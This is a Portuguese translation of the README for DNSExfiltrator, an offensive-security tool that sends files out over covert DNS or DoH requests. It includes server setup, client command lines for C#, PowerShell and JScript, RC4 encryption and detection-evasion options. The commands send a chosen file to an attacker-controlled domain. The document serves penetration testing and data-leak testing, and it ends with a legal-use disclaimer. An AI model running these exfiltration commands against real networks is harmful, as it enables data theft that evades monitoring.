
Exfiltração de dados via canal oculto de requisições DNS
Autor: Arno0x0x - @Arno0x0x
O DNSExfiltrator permite transferir (exfiltrar) um ficheiro através de um canal oculto de pedidos DNS. Trata-se basicamente de uma ferramenta de teste de fuga de dados que permite exfiltrar dados através de um canal oculto.
O DNSExfiltrator tem dois lados:
dnsexfiltrator.py), que funciona como um servidor DNS personalizado, recebendo o ficheirodnsExfiltrator.cs: um script C# que pode ser compilado com csc.exe para produzir um executável Windows geridoInvoke-DNSExfiltrator.ps1: um script PowerShell que fornece as mesmas funcionalidades ao encapsular o assembly do dnsExfiltratordnsExfiltrator.js: um script JScript que é uma conversão do assembly DLL do dnsExiltrator usando DotNetToJScript, e fornece as mesmas funcionalidadesPara que tudo funcione, deve possuir um nome de domínio e definir o registo DNS (NS) desse domínio para apontar para o servidor que irá executar o lado do servidor dnsexfiltrator.py.
Por predefinição, o DNSExfiltrator utiliza o servidor DNS definido pelo sistema, mas também pode definir um específico para usar (útil para fins de depuração ou para executar o lado do servidor localmente, por exemplo).
Alternativamente, utilizando o parâmetro h, o DNSExfiltrator pode realizar DoH (DNS sobre HTTP) utilizando os servidores DoH do Google ou CloudFlare.
Por predefinição, os dados a exfiltrar são codificados em base64URL para caberem nos pedidos DNS. No entanto, alguns resolvedores DNS podem quebrar esta codificação (justo, uma vez que os FQDN não devem ser sensíveis a maiúsculas/minúsculas de qualquer forma) ao alterar a sensibilidade das maiúsculas/minúsculas, o que é obviamente importante para o processo de codificação/descodificação. Para contornar este problema, pode usar o sinalizador -b32 para forçar a codificação Base32 dos dados, o que acarreta um pequeno overhead de tamanho. Se estiver a usar DoH do CloudFlare, a codificação base32 é aplicada automaticamente.
O DNSExfiltrator suporta encriptação RC4 básica dos dados exfiltrados, utilizando a palavra-passe fornecida para encriptar/desencriptar os dados.
O DNSExfiltrator também fornece algumas funcionalidades opcionais para evitar a deteção:
A única dependência está no lado do servidor, pois o script dnsexfiltrator.py depende da biblioteca externa dnslib. Pode instalá-la usando pip:
pip install -r requirements.txt
LADO DO SERVIDOR
Execute o script dnsexfiltrator.py passando o nome de domínio e a palavra-passe de desencriptação a usar:
root@kali:~# ./dnsexfiltrator.py -d meudominio.com -p password
LADO DO CLIENTE
Pode ou usar a versão compilada, ou o wrapper PowerShell (que é basicamente a mesma coisa) ou o wrapper JScript. Em qualquer caso, os parâmetros são os mesmos, com apenas uma ligeira diferença na forma de os passar no PowerShell.
1/ Usando o executável Windows compilado em C# (que pode encontrar no diretório release):
dnsExfiltrator.exe <ficheiro> <nomeDominio> <password> [-b32] [h=google|cloudflare] [s=<servidor_DNS>] [t=<tempoLimite>] [r=<tamanhoMaximoPedido>] [l=<tamanhoMaximoEtiqueta>]
ficheiro: [OBRIGATÓRIO] O nome do ficheiro a ser exfiltrado.
nomeDominio: [OBRIGATÓRIO] O nome de domínio a usar nos pedidos DNS.
password: [OBRIGATÓRIO] Palavra-passe usada para encriptar os dados a exfiltrar.
-b32: [OPCIONAL] Usa codificação base32 dos dados. Pode ser necessário se algum resolvedor DNS quebrar a sensibilidade a maiúsculas/minúsculas.
h: [OPCIONAL] Usa servidores DoH (DNS sobre HTTP) do Google ou CloudFlare.
servidor_DNS: [OPCIONAL] O nome ou IP do servidor DNS a usar nos pedidos. Predefinição: o do sistema.
tempoLimite: [OPCIONAL] O tempo em milissegundos a esperar entre cada pedido DNS.
tamanhoMaximoPedido: [OPCIONAL] O tamanho máximo em bytes para cada pedido DNS. Predefinição: 255 bytes.
tamanhoMaximoEtiqueta: [OPCIONAL] O tamanho máximo em caracteres para cada etiqueta (subdomínio) do pedido DNS. Predefinição: 63 caracteres.
2/ Usando o script PowerShell, bem, chame-o da forma que preferir (provavelmente conhece imensas formas de invocar um script PowerShell) juntamente com os parâmetros do script. Exemplo mais básico:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d meudominio.com -p password -s meu.servidor.dns.com -t 500
[...]
Consulte a secção EXEMPLOS no ficheiro do script para mais exemplos de utilização.

3/ Usando o script JScript, passe-lhe exatamente os mesmos argumentos que usaria com o executável Windows autónomo:
cscript.exe dnsExiltrator.js inputFile meudominio.com password
Ou, com algumas opções:
cscript.exe dnsExiltrator.js inputFile meudominio.com password s=meu.servidor.dns.com t=500
Esta ferramenta destina-se a ser utilizada apenas de forma legal e legítima:
Citando os autores do Empire: Não há forma de construir ferramentas ofensivas úteis para a indústria legítima de segurança informática enquanto se impede simultaneamente que agentes maliciosos as utilizem indevidamente.